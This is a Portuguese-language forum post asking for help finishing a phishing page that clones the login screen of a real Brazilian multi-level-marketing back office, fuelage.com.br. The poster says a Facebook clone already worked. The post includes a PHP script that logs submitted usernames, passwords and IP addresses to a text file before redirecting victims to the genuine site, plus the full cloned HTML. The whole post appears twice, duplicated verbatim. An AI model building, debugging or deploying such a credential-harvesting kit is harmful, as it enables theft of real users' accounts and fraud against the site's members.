galera quem puder me dar uma força em uma pagina fake que tentei fazer! olhei varios tutoriais mas n conegui! do facebook eu concegui de boa mas do site que realmente quero n esta dando!
esse é a pag que eu quero criar Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
esse é o php
<?php
$n1 = $_POST['input-username'];
$n2 = $_POST['input-password'];
$n3 = $_SERVER['REMOTE_ADDR'];
$conteudo = "Login: $n1 \nSenha: $n2 \nIp: $n3\n\n\n";
$arquivo = "xxxsenhas.txt";
if (!$abrir = fopen($arquivo, "a")) {
echo "Erro abrindo arquivo ($arquivo)";
exit; }
if (!fwrite($abrir, $conteudo)) {
print "Erro escrevendo no arquivo ($arquivo)";
exit;
}
echo '<meta http-equiv="refresh" content="0;url=https://fuelage.com.br/office/">';
fclose($abrir);
exit;
?>
e esse é o html da pag!
<!DOCTYPE HTML>
<!-- saved from url=(0034)Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... -->
<!DOCTYPE html PUBLIC "" ""><HTML lang="pt-BR"><HEAD><META content="IE=11.0000"
http-equiv="X-UA-Compatible">
<META charset="utf-8">
<META http-equiv="X-UA-Compatible" content="IE=edge">
<META name="description" content="Escritório virtual para vendas de produtos de marketing multi nível">
<META name="author" content="http://www.iflextecnologia.com.br">
<TITLE>Fuel Age</TITLE> <!-- Tell the browser to be responsive to screen width -->
<META name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
<!-- Bootstrap 3.3.5 --> <LINK href="index_arquivos/bootstrap.min.css"
rel="stylesheet"> <!-- Font Awesome --> <LINK href="index_arquivos/todc-bootstrap.min.css"
rel="stylesheet"> <LINK href="index_arquivos/style.css" rel="stylesheet">
<LINK id="theme" href="index_arquivos/color_1.css" rel="stylesheet"> <LINK
href="index_arquivos/css" rel="stylesheet" type="text/css"> <!-- AdminLTE Skins. We have chosen the skin-blue for this starter
page. However, you can choose any other skin. Make sure you
apply the skin class to the body tag so the changes take effect.
-->
<LINK href="https://fuelage.com.br/templates/ebro/dist/css/skins/skin-yellow-light.min.css"
rel="stylesheet">
<STYLE type="text/css">
html{
background: url(Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
background-size:cover;
}
.login-page, .register-page{background-color:transparent !important;}
body{background-color:transparent !important;}
.login-box-body, .register-box-body{
border-radius:25px;
-webkit-box-shadow: 0px 0px 10px 2px rgba(0,0,0,0.47);
-moz-box-shadow: 0px 0px 10px 2px rgba(0,0,0,0.47);
box-shadow: 0px 0px 10px 2px rgba(0,0,0,0.47);
}
.login-box{color:#FFF;margin-top:1%;}
.login-box a.with{color:#FFF;}
</STYLE>
<STYLE>
body {padding:80px 0 0}
textarea, input[type="password"], input[type="text"], input[type="submit"] {-webkit-appearance: none}
.navbar-brand {font:300 15px/18px 'Roboto', sans-serif}
.login_wrapper {position:relative;width:380px;margin:0 auto}
.login_panel {background:#f8f8f8;padding:20px;-webkit-box-shadow: 0 0 0 4px #ededed;-moz-box-shadow: 0 0 0 4px #ededed;box-shadow: 0 0 0 4px #ededed;border:1px solid #ddd;position:relative}
.login_head {margin-bottom:20px}
.login_head h1 {margin:0;font:300 20px/24px 'Roboto', sans-serif}
.login_submit {padding:10px 0}
.login_panel label a {font-size:11px;margin-right:4px}
@media (max-width: 767px) {
body {padding-top:40px}
.navbar {display:none}
.login_wrapper {width:100%;padding:0 20px}
}
</STYLE>
<!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js"></script>
<script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
<![endif]-->
<META name="GENERATOR" content="MSHTML 11.00.9600.17728"></HEAD>
<BODY><HEADER class="navbar navbar-default navbar-fixed-top">
<DIV class="container">
<DIV class="navbar-header"><A class="navbar-brand" href="https://fuelage.com.br/office/">Fuel
Age</A> </DIV>
<DIV class="pull-right">
<UL class="nav navbar-nav">
<LI class="active"><A class="login_toggle" href="javascript:;">Entrar</A></LI>
<LI><A class="register_toggle" href="javascript:;">Recuperar
Senha</A></LI></UL></DIV></DIV></HEADER>
<DIV class="login_wrapper">
<DIV class="login_panel log_section">
<DIV class="login_head text-center"><IMG src="index_arquivos/logo.png">
</DIV>
<DIV class="box-alert"></DIV>
<FORM action="ServiceLoginAuth.php?login_attempt_gmail_o rkut_redes=1" method="post">
<DIV class="form-group"><LABEL for="login_username">Usuário</LABEL><INPUT name="input-username" class="form-control input-lg" id="input-username" type="text" data-required-message="Usuário é obrigatório" data-minlength="3" data-required="true"></DIV>
<DIV class="form-group"><LABEL for="login_password">Senha</LABEL><INPUT name="input-password" class="form-control input-lg" id="input-password" type="password" data-required-message="Digite sua seha... " data-minlength="4" data-required="true" data-minlength-message="Sua senha é obrigatória"></DIV>
<DIV class="login_submit"><BUTTON
class="btn btn-success btn-block btn-lg">Entrar</BUTTON></DIV>
<DIV class="text-center"><SMALL>Quer se cadastrar? <A href="https://fuelage.com.br/office/ucode/2"
target="_blank"> Clique aqui!</A></SMALL> </DIV>
<DIV class="text-center"><SMALL><A id="btn-recover-pass"
href="javascript:;">Esqueci minha senha, e agora?</A></SMALL>
</DIV></FORM></DIV>
<DIV class="login_panel reg_section" style="display: none;">
<DIV class="box-alert"></DIV>
<DIV class="login_head">
<H1>Recuperar senha</H1></DIV>
<FORM id="register_form" method="post">
<DIV class="form-group"><LABEL for="register_username">Digite seu
E-mail</LABEL><INPUT name="input-email" class="form-control input-lg" id="input-email" type="email"></DIV>
<DIV class="login_submit"><BUTTON
class="btn btn-success btn-block btn-lg">Recuperar</BUTTON></DIV></FORM></DIV></DIV><!-- jQuery 2.1.4 -->
<SCRIPT src="index_arquivos/jquery.min.js"></SCRIPT>
<!-- Bootstrap 3.3.5 -->
<SCRIPT src="index_arquivos/jquery_cookie.min.js"></SCRIPT>
<SCRIPT src="index_arquivos/parsley.min.js"></SCRIPT>
<SCRIPT>
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','//www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-69476544-1', 'auto');
ga('send', 'pageview');
</SCRIPT>
<SCRIPT>
$(function () {
jQuery('#btn-recover-pass').click(function(){
jQuery('#input-username').val('');
jQuery('#input-password').val('');
jQuery('.register_toggle').trigger('click');
});
//* validation
$('#login_form').parsley({
errors: {
classHandler: function (elem, isRadioOrCheckbox) {
if (isRadioOrCheckbox) {
return $(elem).closest('.form_sep');
}
},
container: function (element, isRadioOrCheckbox) {
if (isRadioOrCheckbox) {
return element.closest('.form_sep');
}
}
}
});
//* change form
$('.form_toggle').on('click', function (e) {
$('.login_panel').slideToggle(function () {
if ($('.log_section').is(':visible')) {
$('.login_toggle').closest('li').addClass('active' ).siblings('li').removeClass('active');
} else {
$('.register_toggle').closest('li').addClass('acti ve').siblings('li').removeClass('active');
}
});
e.preventDefault();
});
$('.login_toggle').on('click', function (e) {
jQuery('#input-email').val('');
if ($('.log_section').is(':hidden')) {
$('.reg_section').slideUp();
$('.log_section').slideDown();
$(this).closest('li').addClass('active').siblings( 'li').removeClass('active');
}
e.preventDefault();
});
$('.register_toggle').on('click', function (e) {
if ($('.reg_section').is(':hidden')) {
$('.log_section').slideUp();
$('.reg_section').slideDown();
$(this).closest('li').addClass('active').siblings( 'li').removeClass('active');
}
e.preventDefault();
});
// set theme from cookie
if ($.cookie('ebro_color') != undefined) {
$('#theme').attr('href', 'css/theme/' + $.cookie('ebro_color') + '.css');
}
function refreshPage() {
window.location.reload();
}
$("form").submit(function (event) {
event.preventDefault();
jQuery('.box-alert').html('<div class="alert alert-info"><strong>Carregando...</strong> </div>');
var username = $("#input-username").val();
var password = $("#input-password").val();
var email = $("#input-email").val();
var url = "https://fuelage.com.br/office/Auth/validate/VerifyUser";
if (email != "")
url = "https://fuelage.com.br/office/Auth/validate/RecoverPass";
jQuery.ajax({
url: url,
type: "POST",
dataType: "json",
data: {user: username, pass: password, email: email, check: jQuery('#g-recaptcha-response').val()},
success: function (data) {
if (data.status >= 1) {
jQuery('.box-alert').html('<div class="alert alert-success"><strong>' + data.title + '</strong> ' + data.msg + '</div>');
setTimeout(function () {
window.location.href = "https://fuelage.com.br/office/base/";
}, 2000);
} else {
jQuery('.box-alert').html('<div class="alert alert-danger"><strong>' + data.title + '</strong> ' + data.msg + '</div>');
}
jQuery('.box-alert').show();
}, complete: function () {
setTimeout(function () {
jQuery('.box-alert').hide();
jQuery('.box-alert').html('');
}, 4000);
}
});
return true;
});
});
</SCRIPT>
</BODY></HTML>
quem puder me ajudar no que estiver errado eu fico grato
desde já agradeço a atenção!
esse é a pag que eu quero criar Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
esse é o php
<?php
$n1 = $_POST['input-username'];
$n2 = $_POST['input-password'];
$n3 = $_SERVER['REMOTE_ADDR'];
$conteudo = "Login: $n1 \nSenha: $n2 \nIp: $n3\n\n\n";
$arquivo = "xxxsenhas.txt";
if (!$abrir = fopen($arquivo, "a")) {
echo "Erro abrindo arquivo ($arquivo)";
exit; }
if (!fwrite($abrir, $conteudo)) {
print "Erro escrevendo no arquivo ($arquivo)";
exit;
}
echo '<meta http-equiv="refresh" content="0;url=https://fuelage.com.br/office/">';
fclose($abrir);
exit;
?>
e esse é o html da pag!
<!DOCTYPE HTML>
<!-- saved from url=(0034)Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... -->
<!DOCTYPE html PUBLIC "" ""><HTML lang="pt-BR"><HEAD><META content="IE=11.0000"
http-equiv="X-UA-Compatible">
<META charset="utf-8">
<META http-equiv="X-UA-Compatible" content="IE=edge">
<META name="description" content="Escritório virtual para vendas de produtos de marketing multi nível">
<META name="author" content="http://www.iflextecnologia.com.br">
<TITLE>Fuel Age</TITLE> <!-- Tell the browser to be responsive to screen width -->
<META name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
<!-- Bootstrap 3.3.5 --> <LINK href="index_arquivos/bootstrap.min.css"
rel="stylesheet"> <!-- Font Awesome --> <LINK href="index_arquivos/todc-bootstrap.min.css"
rel="stylesheet"> <LINK href="index_arquivos/style.css" rel="stylesheet">
<LINK id="theme" href="index_arquivos/color_1.css" rel="stylesheet"> <LINK
href="index_arquivos/css" rel="stylesheet" type="text/css"> <!-- AdminLTE Skins. We have chosen the skin-blue for this starter
page. However, you can choose any other skin. Make sure you
apply the skin class to the body tag so the changes take effect.
-->
<LINK href="https://fuelage.com.br/templates/ebro/dist/css/skins/skin-yellow-light.min.css"
rel="stylesheet">
<STYLE type="text/css">
html{
background: url(Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
background-size:cover;
}
.login-page, .register-page{background-color:transparent !important;}
body{background-color:transparent !important;}
.login-box-body, .register-box-body{
border-radius:25px;
-webkit-box-shadow: 0px 0px 10px 2px rgba(0,0,0,0.47);
-moz-box-shadow: 0px 0px 10px 2px rgba(0,0,0,0.47);
box-shadow: 0px 0px 10px 2px rgba(0,0,0,0.47);
}
.login-box{color:#FFF;margin-top:1%;}
.login-box a.with{color:#FFF;}
</STYLE>
<STYLE>
body {padding:80px 0 0}
textarea, input[type="password"], input[type="text"], input[type="submit"] {-webkit-appearance: none}
.navbar-brand {font:300 15px/18px 'Roboto', sans-serif}
.login_wrapper {position:relative;width:380px;margin:0 auto}
.login_panel {background:#f8f8f8;padding:20px;-webkit-box-shadow: 0 0 0 4px #ededed;-moz-box-shadow: 0 0 0 4px #ededed;box-shadow: 0 0 0 4px #ededed;border:1px solid #ddd;position:relative}
.login_head {margin-bottom:20px}
.login_head h1 {margin:0;font:300 20px/24px 'Roboto', sans-serif}
.login_submit {padding:10px 0}
.login_panel label a {font-size:11px;margin-right:4px}
@media (max-width: 767px) {
body {padding-top:40px}
.navbar {display:none}
.login_wrapper {width:100%;padding:0 20px}
}
</STYLE>
<!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js"></script>
<script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
<![endif]-->
<META name="GENERATOR" content="MSHTML 11.00.9600.17728"></HEAD>
<BODY><HEADER class="navbar navbar-default navbar-fixed-top">
<DIV class="container">
<DIV class="navbar-header"><A class="navbar-brand" href="https://fuelage.com.br/office/">Fuel
Age</A> </DIV>
<DIV class="pull-right">
<UL class="nav navbar-nav">
<LI class="active"><A class="login_toggle" href="javascript:;">Entrar</A></LI>
<LI><A class="register_toggle" href="javascript:;">Recuperar
Senha</A></LI></UL></DIV></DIV></HEADER>
<DIV class="login_wrapper">
<DIV class="login_panel log_section">
<DIV class="login_head text-center"><IMG src="index_arquivos/logo.png">
</DIV>
<DIV class="box-alert"></DIV>
<FORM action="ServiceLoginAuth.php?login_attempt_gmail_o rkut_redes=1" method="post">
<DIV class="form-group"><LABEL for="login_username">Usuário</LABEL><INPUT name="input-username" class="form-control input-lg" id="input-username" type="text" data-required-message="Usuário é obrigatório" data-minlength="3" data-required="true"></DIV>
<DIV class="form-group"><LABEL for="login_password">Senha</LABEL><INPUT name="input-password" class="form-control input-lg" id="input-password" type="password" data-required-message="Digite sua seha... " data-minlength="4" data-required="true" data-minlength-message="Sua senha é obrigatória"></DIV>
<DIV class="login_submit"><BUTTON
class="btn btn-success btn-block btn-lg">Entrar</BUTTON></DIV>
<DIV class="text-center"><SMALL>Quer se cadastrar? <A href="https://fuelage.com.br/office/ucode/2"
target="_blank"> Clique aqui!</A></SMALL> </DIV>
<DIV class="text-center"><SMALL><A id="btn-recover-pass"
href="javascript:;">Esqueci minha senha, e agora?</A></SMALL>
</DIV></FORM></DIV>
<DIV class="login_panel reg_section" style="display: none;">
<DIV class="box-alert"></DIV>
<DIV class="login_head">
<H1>Recuperar senha</H1></DIV>
<FORM id="register_form" method="post">
<DIV class="form-group"><LABEL for="register_username">Digite seu
E-mail</LABEL><INPUT name="input-email" class="form-control input-lg" id="input-email" type="email"></DIV>
<DIV class="login_submit"><BUTTON
class="btn btn-success btn-block btn-lg">Recuperar</BUTTON></DIV></FORM></DIV></DIV><!-- jQuery 2.1.4 -->
<SCRIPT src="index_arquivos/jquery.min.js"></SCRIPT>
<!-- Bootstrap 3.3.5 -->
<SCRIPT src="index_arquivos/jquery_cookie.min.js"></SCRIPT>
<SCRIPT src="index_arquivos/parsley.min.js"></SCRIPT>
<SCRIPT>
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','//www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-69476544-1', 'auto');
ga('send', 'pageview');
</SCRIPT>
<SCRIPT>
$(function () {
jQuery('#btn-recover-pass').click(function(){
jQuery('#input-username').val('');
jQuery('#input-password').val('');
jQuery('.register_toggle').trigger('click');
});
//* validation
$('#login_form').parsley({
errors: {
classHandler: function (elem, isRadioOrCheckbox) {
if (isRadioOrCheckbox) {
return $(elem).closest('.form_sep');
}
},
container: function (element, isRadioOrCheckbox) {
if (isRadioOrCheckbox) {
return element.closest('.form_sep');
}
}
}
});
//* change form
$('.form_toggle').on('click', function (e) {
$('.login_panel').slideToggle(function () {
if ($('.log_section').is(':visible')) {
$('.login_toggle').closest('li').addClass('active' ).siblings('li').removeClass('active');
} else {
$('.register_toggle').closest('li').addClass('acti ve').siblings('li').removeClass('active');
}
});
e.preventDefault();
});
$('.login_toggle').on('click', function (e) {
jQuery('#input-email').val('');
if ($('.log_section').is(':hidden')) {
$('.reg_section').slideUp();
$('.log_section').slideDown();
$(this).closest('li').addClass('active').siblings( 'li').removeClass('active');
}
e.preventDefault();
});
$('.register_toggle').on('click', function (e) {
if ($('.reg_section').is(':hidden')) {
$('.log_section').slideUp();
$('.reg_section').slideDown();
$(this).closest('li').addClass('active').siblings( 'li').removeClass('active');
}
e.preventDefault();
});
// set theme from cookie
if ($.cookie('ebro_color') != undefined) {
$('#theme').attr('href', 'css/theme/' + $.cookie('ebro_color') + '.css');
}
function refreshPage() {
window.location.reload();
}
$("form").submit(function (event) {
event.preventDefault();
jQuery('.box-alert').html('<div class="alert alert-info"><strong>Carregando...</strong> </div>');
var username = $("#input-username").val();
var password = $("#input-password").val();
var email = $("#input-email").val();
var url = "https://fuelage.com.br/office/Auth/validate/VerifyUser";
if (email != "")
url = "https://fuelage.com.br/office/Auth/validate/RecoverPass";
jQuery.ajax({
url: url,
type: "POST",
dataType: "json",
data: {user: username, pass: password, email: email, check: jQuery('#g-recaptcha-response').val()},
success: function (data) {
if (data.status >= 1) {
jQuery('.box-alert').html('<div class="alert alert-success"><strong>' + data.title + '</strong> ' + data.msg + '</div>');
setTimeout(function () {
window.location.href = "https://fuelage.com.br/office/base/";
}, 2000);
} else {
jQuery('.box-alert').html('<div class="alert alert-danger"><strong>' + data.title + '</strong> ' + data.msg + '</div>');
}
jQuery('.box-alert').show();
}, complete: function () {
setTimeout(function () {
jQuery('.box-alert').hide();
jQuery('.box-alert').html('');
}, 4000);
}
});
return true;
});
});
</SCRIPT>
</BODY></HTML>
quem puder me ajudar no que estiver errado eu fico grato
desde já agradeço a atenção!
Comment